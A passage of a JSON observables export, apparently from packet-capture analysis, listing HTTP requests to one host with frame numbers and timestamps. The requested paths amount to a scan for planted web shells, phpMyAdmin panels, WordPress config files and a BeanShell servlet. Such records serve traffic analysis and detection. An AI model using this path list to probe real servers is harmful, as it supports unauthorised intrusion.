        "value": "http://128.199.64.235/text.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 165,
            "display_filter": "frame.number == 165",
            "timestamp_epoch": "1577255389.821626000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f5fbf82012edbdd23a11655c",
        "last_seen_epoch": "1577255389.821626000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255389.821626000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/think.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1030,
            "display_filter": "frame.number == 1030",
            "timestamp_epoch": "1577255803.369421000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-c5cc264d82bf2402a22ac72b",
        "last_seen_epoch": "1577255803.369421000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255803.369421000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/tiandi.php",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1353,
            "display_filter": "frame.number == 1353",
            "timestamp_epoch": "1577255966.008833000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-34719923516fb2daf51ac19a",
        "last_seen_epoch": "1577255966.008833000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255966.008833000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/tomcat.php",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1373,
            "display_filter": "frame.number == 1373",
            "timestamp_epoch": "1577255975.154437000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-bfb4c81f423e021b5590f1cd",
        "last_seen_epoch": "1577255975.154437000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255975.154437000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/tools.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 984,
            "display_filter": "frame.number == 984",
            "timestamp_epoch": "1577255788.861062000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 1002,
            "display_filter": "frame.number == 1002",
            "timestamp_epoch": "1577255795.343770000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f6eb1d4671f0c395d68ef875",
        "last_seen_epoch": "1577255795.343770000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255788.861062000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/tools/phpMyAdmin/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2209,
            "display_filter": "frame.number == 2209",
            "timestamp_epoch": "1577256378.086161000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-ce3ae7efa76aef1968c224de",
        "last_seen_epoch": "1577256378.086161000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256378.086161000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/toor.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1719,
            "display_filter": "frame.number == 1719",
            "timestamp_epoch": "1577256145.647566000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-73b26d8014252fe7356f9b76",
        "last_seen_epoch": "1577256145.647566000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256145.647566000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/tt.php",
        "evidence": [
          {
            "tcp_stream": 21,
            "frame_number": 687,
            "display_filter": "frame.number == 687",
            "timestamp_epoch": "1577255655.051084000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-fa34f1f09317e6fb319613f2",
        "last_seen_epoch": "1577255655.051084000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255655.051084000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ttt.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 773,
            "display_filter": "frame.number == 773",
            "timestamp_epoch": "1577255691.761766000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-211c0a4fa05cc78756a5b9d5",
        "last_seen_epoch": "1577255691.761766000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255691.761766000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/tty.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 735,
            "display_filter": "frame.number == 735",
            "timestamp_epoch": "1577255678.591917000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-96a3895849391799e1cb0a38",
        "last_seen_epoch": "1577255678.591917000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255678.591917000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/typo3/phpmyadmin/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2228,
            "display_filter": "frame.number == 2228",
            "timestamp_epoch": "1577256382.526311000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-06fca07a4d5faa969166790b",
        "last_seen_epoch": "1577256382.526311000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256382.526311000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/tyrant.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 779,
            "display_filter": "frame.number == 779",
            "timestamp_epoch": "1577255693.558552000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4a55d496bf2d8818ba0e2c17",
        "last_seen_epoch": "1577255693.558552000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255693.558552000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/u.php",
        "evidence": [
          {
            "tcp_stream": 49,
            "frame_number": 1459,
            "display_filter": "frame.number == 1459",
            "timestamp_epoch": "1577256042.659716000"
          },
          {
            "tcp_stream": 50,
            "frame_number": 1467,
            "display_filter": "frame.number == 1467",
            "timestamp_epoch": "1577256043.081696000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-34e18176c422362db258209b",
        "last_seen_epoch": "1577256043.081696000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256042.659716000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/undx.php",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 322,
            "display_filter": "frame.number == 322",
            "timestamp_epoch": "1577255433.965520000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-34e693e0ccec64445cdb5169",
        "last_seen_epoch": "1577255433.965520000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255433.965520000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/up.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 399,
            "display_filter": "frame.number == 399",
            "timestamp_epoch": "1577255484.120987000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0d8dc4f6a99792199f6dee3f",
        "last_seen_epoch": "1577255484.120987000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255484.120987000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/Updata.php",
        "evidence": [
          {
            "tcp_stream": 63,
            "frame_number": 1900,
            "display_filter": "frame.number == 1900",
            "timestamp_epoch": "1577256228.385593000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-493bc362b89782b5d011082b",
        "last_seen_epoch": "1577256228.385593000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256228.385593000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/uploader.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 187,
            "display_filter": "frame.number == 187",
            "timestamp_epoch": "1577255393.486800000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d03e5c82a65b25c679df557a",
        "last_seen_epoch": "1577255393.486800000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255393.486800000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/uu.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1722,
            "display_filter": "frame.number == 1722",
            "timestamp_epoch": "1577256145.914594000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-128d713ccc0617b36bf4f422",
        "last_seen_epoch": "1577256145.914594000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256145.914594000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/uuu.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 753,
            "display_filter": "frame.number == 753",
            "timestamp_epoch": "1577255683.065390000"
          },
          {
            "tcp_stream": 50,
            "frame_number": 1473,
            "display_filter": "frame.number == 1473",
            "timestamp_epoch": "1577256045.623089000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-bac99f06ede7307c0e8c019e",
        "last_seen_epoch": "1577256045.623089000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255683.065390000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/v/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2249,
            "display_filter": "frame.number == 2249",
            "timestamp_epoch": "1577256389.868277000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4ac7f57fd54b2582a56f9852",
        "last_seen_epoch": "1577256389.868277000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256389.868277000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ver.php",
        "evidence": [
          {
            "tcp_stream": 51,
            "frame_number": 1538,
            "display_filter": "frame.number == 1538",
            "timestamp_epoch": "1577256070.143681000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-abe97fc7eb977648f3e691ed",
        "last_seen_epoch": "1577256070.143681000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256070.143681000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/vuln.php",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1933,
            "display_filter": "frame.number == 1933",
            "timestamp_epoch": "1577256245.437344000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-25a6e728e080b3234aa8bede",
        "last_seen_epoch": "1577256245.437344000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256245.437344000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/vuln1.php",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1936,
            "display_filter": "frame.number == 1936",
            "timestamp_epoch": "1577256245.702655000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-5d5b7425cff9d2a874e310dc",
        "last_seen_epoch": "1577256245.702655000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256245.702655000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/vvv.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 605,
            "display_filter": "frame.number == 605",
            "timestamp_epoch": "1577255622.541671000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-18d207cc01141b676f4c40e6",
        "last_seen_epoch": "1577255622.541671000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255622.541671000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/w.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 578,
            "display_filter": "frame.number == 578",
            "timestamp_epoch": "1577255609.058608000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-11a102947ed94a87446445bc",
        "last_seen_epoch": "1577255609.058608000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255609.058608000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/wan.php",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1234,
            "display_filter": "frame.number == 1234",
            "timestamp_epoch": "1577255885.851446000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-18de55a86e3c232fa2267951",
        "last_seen_epoch": "1577255885.851446000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255885.851446000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/wanan.php",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1237,
            "display_filter": "frame.number == 1237",
            "timestamp_epoch": "1577255886.133808000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7ac73dfabbe76ef8b095446d",
        "last_seen_epoch": "1577255886.133808000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255886.133808000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/wb.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1731,
            "display_filter": "frame.number == 1731",
            "timestamp_epoch": "1577256150.816732000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-2718a918366cd492ab060f37",
        "last_seen_epoch": "1577256150.816732000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256150.816732000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/wc.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 567,
            "display_filter": "frame.number == 567",
            "timestamp_epoch": "1577255601.643251000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-be8892b1921c64d8ce220dd1",
        "last_seen_epoch": "1577255601.643251000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255601.643251000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/wcp.php",
        "evidence": [
          {
            "tcp_stream": 49,
            "frame_number": 1455,
            "display_filter": "frame.number == 1455",
            "timestamp_epoch": "1577256037.540611000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-6b4f755c30528f5dc0db018d",
        "last_seen_epoch": "1577256037.540611000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256037.540611000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/weathermap/editor.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 261,
            "display_filter": "frame.number == 261",
            "timestamp_epoch": "1577255406.113808000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-8abb3ea66bcd891c5fd61697",
        "last_seen_epoch": "1577255406.113808000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255406.113808000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/weaver/bsh.servlet.BshServlet",
        "evidence": [
          {
            "tcp_stream": 68,
            "frame_number": 2035,
            "display_filter": "frame.number == 2035",
            "timestamp_epoch": "1577256304.532786000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-47eed3d3827bbde1ec978863",
        "last_seen_epoch": "1577256304.532786000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256304.532786000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/web/phpMyAdmin/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2117,
            "display_filter": "frame.number == 2117",
            "timestamp_epoch": "1577256353.229511000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-8541056389fdbb8468626241",
        "last_seen_epoch": "1577256353.229511000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256353.229511000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/webslee.php",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1138,
            "display_filter": "frame.number == 1138",
            "timestamp_epoch": "1577255828.301876000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a88baf6f0da5969c4fe5d351",
        "last_seen_epoch": "1577255828.301876000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255828.301876000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/websql/index.php",
        "evidence": [
          {
            "tcp_stream": 76,
            "frame_number": 2414,
            "display_filter": "frame.number == 2414",
            "timestamp_epoch": "1577256450.448111000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-af716b8bb42c4d8f6741f837",
        "last_seen_epoch": "1577256450.448111000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256450.448111000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/weixiao.php",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1116,
            "display_filter": "frame.number == 1116",
            "timestamp_epoch": "1577255825.857750000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-156cf76be56bcf9c90e1b14c",
        "last_seen_epoch": "1577255825.857750000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255825.857750000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/whoami.php",
        "evidence": [
          {
            "tcp_stream": 17,
            "frame_number": 634,
            "display_filter": "frame.number == 634",
            "timestamp_epoch": "1577255629.867708000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-5d192805b21f9d79402fb63d",
        "last_seen_epoch": "1577255629.867708000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255629.867708000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/whoami.php.php",
        "evidence": [
          {
            "tcp_stream": 18,
            "frame_number": 644,
            "display_filter": "frame.number == 644",
            "timestamp_epoch": "1577255632.062222000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-1dc6bc13286ddf17314e59af",
        "last_seen_epoch": "1577255632.062222000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255632.062222000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/win.php",
        "evidence": [
          {
            "tcp_stream": 56,
            "frame_number": 1803,
            "display_filter": "frame.number == 1803",
            "timestamp_epoch": "1577256195.137126000"
          },
          {
            "tcp_stream": 57,
            "frame_number": 1811,
            "display_filter": "frame.number == 1811",
            "timestamp_epoch": "1577256195.426556000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4fc6b16e845b303b0ceba2eb",
        "last_seen_epoch": "1577256195.426556000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256195.137126000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/win1.php",
        "evidence": [
          {
            "tcp_stream": 57,
            "frame_number": 1815,
            "display_filter": "frame.number == 1815",
            "timestamp_epoch": "1577256195.704673000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-528eb09349f11b0f4118579d",
        "last_seen_epoch": "1577256195.704673000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256195.704673000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/woshimengmei.php",
        "evidence": [
          {
            "tcp_stream": 9,
            "frame_number": 465,
            "display_filter": "frame.number == 465",
            "timestamp_epoch": "1577255515.391181000"
          },
          {
            "tcp_stream": 10,
            "frame_number": 471,
            "display_filter": "frame.number == 471",
            "timestamp_epoch": "1577255520.428386000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e6064a7dd8b73e23d97005a4",
        "last_seen_epoch": "1577255520.428386000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255515.391181000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/wp-admins.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1042,
            "display_filter": "frame.number == 1042",
            "timestamp_epoch": "1577255804.928239000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e46e86d13fd4b258f6411614",
        "last_seen_epoch": "1577255804.928239000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255804.928239000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/wp-config.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 168,
            "display_filter": "frame.number == 168",
            "timestamp_epoch": "1577255390.128031000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-202113ad9eccc12a5f019a0d",
        "last_seen_epoch": "1577255390.128031000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255390.128031000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/wpc.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 152,
            "display_filter": "frame.number == 152",
            "timestamp_epoch": "1577255385.804008000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-51925eaf8ea0433233e36ba0",
        "last_seen_epoch": "1577255385.804008000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255385.804008000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/wpo.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 156,
            "display_filter": "frame.number == 156",
            "timestamp_epoch": "1577255386.182336000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-1fa7ff9ddf9569bc01743aa0",
        "last_seen_epoch": "1577255386.182336000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255386.182336000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/wshell.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1084,
            "display_filter": "frame.number == 1084",
            "timestamp_epoch": "1577255813.377545000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4a827f2a59e1023744a5c4ad",
        "last_seen_epoch": "1577255813.377545000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255813.377545000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/wsx.php",
        "evidence": [
          {
            "tcp_stream": 27,
            "frame_number": 848,
            "display_filter": "frame.number == 848",
            "timestamp_epoch": "1577255725.676709000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4c6120be4fad72e631a63348",
        "last_seen_epoch": "1577255725.676709000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255725.676709000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/wuwu11.php",
        "evidence": [
          {
            "tcp_stream": 15,
            "frame_number": 547,
            "display_filter": "frame.number == 547",
            "timestamp_epoch": "1577255592.156709000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-ba4f2793b66d83c138544da3",
        "last_seen_epoch": "1577255592.156709000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255592.156709000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/www.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 608,
            "display_filter": "frame.number == 608",
            "timestamp_epoch": "1577255622.820069000"
          },
          {
            "tcp_stream": 63,
            "frame_number": 1912,
            "display_filter": "frame.number == 1912",
            "timestamp_epoch": "1577256231.264050000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-9b0a5fca2c82fcf1d5e0f789",
        "last_seen_epoch": "1577256231.264050000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255622.820069000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/www/phpMyAdmin/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2206,
            "display_filter": "frame.number == 2206",
            "timestamp_epoch": "1577256377.826131000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-b47e93a923090254d9bce705",
        "last_seen_epoch": "1577256377.826131000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256377.826131000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/WWW/phpMyAdmin/index.php",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2352,
            "display_filter": "frame.number == 2352",
            "timestamp_epoch": "1577256426.365124000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-8826305003467dcfc174d044",
        "last_seen_epoch": "1577256426.365124000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256426.365124000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/x.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 118,
            "display_filter": "frame.number == 118",
            "timestamp_epoch": "1577255371.936865000"
          },
          {
            "tcp_stream": 52,
            "frame_number": 1574,
            "display_filter": "frame.number == 1574",
            "timestamp_epoch": "1577256082.672575000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1711,
            "display_filter": "frame.number == 1711",
            "timestamp_epoch": "1577256141.280270000"
          },
          {
            "tcp_stream": 57,
            "frame_number": 1827,
            "display_filter": "frame.number == 1827",
            "timestamp_epoch": "1577256198.596006000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-81cd590224fe25aa45ef6bc3",
        "last_seen_epoch": "1577256198.596006000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255371.936865000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xampp/phpmyadmin/index.php",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2200,
            "display_filter": "frame.number == 2200",
            "timestamp_epoch": "1577256377.289138000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-3586d53dac550e8e6bbf8247",
        "last_seen_epoch": "1577256377.289138000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256377.289138000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xi.php",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 808,
            "display_filter": "frame.number == 808",
            "timestamp_epoch": "1577255713.255546000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-efe9b544447ee31365e99b93",
        "last_seen_epoch": "1577255713.255546000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255713.255546000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xiao.php",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1129,
            "display_filter": "frame.number == 1129",
            "timestamp_epoch": "1577255827.500557000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-2526ea158e1ef8b7297b21fd",
        "last_seen_epoch": "1577255827.500557000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255827.500557000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xiaobin.php",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1957,
            "display_filter": "frame.number == 1957",
            "timestamp_epoch": "1577256251.357602000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-40b6f38c6aaac8fcb72c1c1a",
        "last_seen_epoch": "1577256251.357602000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256251.357602000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xiaodai.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 944,
            "display_filter": "frame.number == 944",
            "timestamp_epoch": "1577255779.157592000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-28375024ba98427b0f30ed35",
        "last_seen_epoch": "1577255779.157592000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255779.157592000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xiaohei.php",
        "evidence": [
          {
            "tcp_stream": 56,
            "frame_number": 1790,
            "display_filter": "frame.number == 1790",
            "timestamp_epoch": "1577256188.034848000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7a3ce7ed1c04fd9dbe7d798f",
        "last_seen_epoch": "1577256188.034848000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256188.034848000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xiaoma.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1743,
            "display_filter": "frame.number == 1743",
            "timestamp_epoch": "1577256156.823622000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0afe093636a15054225dbda3",
        "last_seen_epoch": "1577256156.823622000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256156.823622000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xiaomae.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1745,
            "display_filter": "frame.number == 1745",
            "timestamp_epoch": "1577256158.280211000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-719c5933ba2a08fe38680dac",
        "last_seen_epoch": "1577256158.280211000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256158.280211000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xiaomar.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1748,
            "display_filter": "frame.number == 1748",
            "timestamp_epoch": "1577256161.389162000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-12432e898754ae47d492f890",
        "last_seen_epoch": "1577256161.389162000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256161.389162000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xiaomo.php",
